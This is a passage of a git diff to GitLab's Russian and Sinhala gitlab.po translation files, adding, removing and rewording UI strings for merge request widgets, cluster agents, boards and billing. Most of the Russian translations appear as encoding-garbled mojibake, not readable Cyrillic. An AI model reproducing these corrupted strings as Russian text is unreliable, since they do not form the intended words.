-
msgid "in project %{link_to_project}"
msgstr "в проекте %{link_to_project}"
@@ -41317,9 +41983,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr "ручной"
@@ -41351,15 +42014,15 @@ msgstr ""
msgid "most recent deployment"
msgstr "наиболее недавнее развёртывание"
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} и %{mergeCommitCount} будут добавлены в %{targetBranch}."
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} будет(ут) добавлен(ы) в %{targetBranch}."
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 коммит cлиÑниÑ"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
@@ -41369,6 +42032,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41387,9 +42053,6 @@ msgstr "Потребление %{metricsLinkStart} памÑти %{metricsLinkEnd
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "Потребление %{metricsLinkStart} памÑти %{metricsLinkEnd} оÑталоÑÑŒ %{emphasisStart} неизменным %{emphasisEnd} на %{memoryFrom}Мбайт"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41432,9 +42095,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41469,6 +42129,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "Ðа данный момент ÑтатиÑтика Ñ€Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð½ÐµÐ´Ð¾Ñтупна"
@@ -41478,12 +42141,18 @@ msgstr "Ðе закрыт"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "Патчи по Ñлектронной почте"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "Ðе удалоÑÑŒ загрузить ÑтатиÑтику развёртываниÑ"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41521,21 +42190,36 @@ msgstr "Слить"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "СлиÑние не удалоÑÑŒ."
msgid "mrWidget|Merge locally"
msgstr "Слить локально"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "mrWidget|Resolve conflicts"
msgstr "Разрешить конфликты"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "Разрешите Ñти конфликты или попроÑите кого-нибудь Ñ Ð´Ð¾Ñтупом на запиÑÑŒ в Ñтот репозиторий Ñлить его локально"
-
msgid "mrWidget|Revert"
msgstr "Откатить"
@@ -41620,9 +42310,6 @@ msgstr "Ð˜Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð±Ñ‹Ð»Ð¸ Ñлиты в"
msgid "mrWidget|The changes were not merged into"
msgstr "Ð˜Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð½Ðµ были Ñлиты в"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Ð˜Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ Ñлиты в"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,37 +42325,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "ИÑÑ…Ð¾Ð´Ð½Ð°Ñ Ð²ÐµÑ‚ÐºÐ° удалÑетÑÑ"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "ИÑÑ…Ð¾Ð´Ð½Ð°Ñ Ð²ÐµÑ‚ÐºÐ° будет удалена"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "ИÑÑ…Ð¾Ð´Ð½Ð°Ñ Ð²ÐµÑ‚ÐºÐ° не будет удалена"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "ЕÑÑ‚ÑŒ конфликты ÑлиÑниÑ"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Этот Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние не может быть выполнен автоматичеÑки"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Этот проект архивирован, доÑтуп на запиÑÑŒ отключен"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr "Чтобы ÑоглаÑовать Ñтот запроÑ, пожалуйÑта, введите ваш пароль. Этот проект требует Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼."
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41835,6 +42513,18 @@ msgstr "ÑÐ±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr "pod_name может Ñодержать только латинÑкие буквы в нижнем региÑтре, цифры, знаки '-' и '.', а также должен начинатьÑÑ Ð¸ заканчиватьÑÑ Ð±ÑƒÐºÐ²Ð¾Ð¹ или цифрой."
@@ -42021,9 +42711,6 @@ msgstr "войти"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "Ñортировка:"
-
msgid "source"
msgstr "иÑходный текÑÑ‚"
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "заÑÑ‚Ñ€Ñл"
diff --git a/locale/si_LK/gitlab.po b/locale/si_LK/gitlab.po
index c149bc804db..bbf9386fbd7 100644
--- a/locale/si_LK/gitlab.po
+++ b/locale/si_LK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: si-LK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
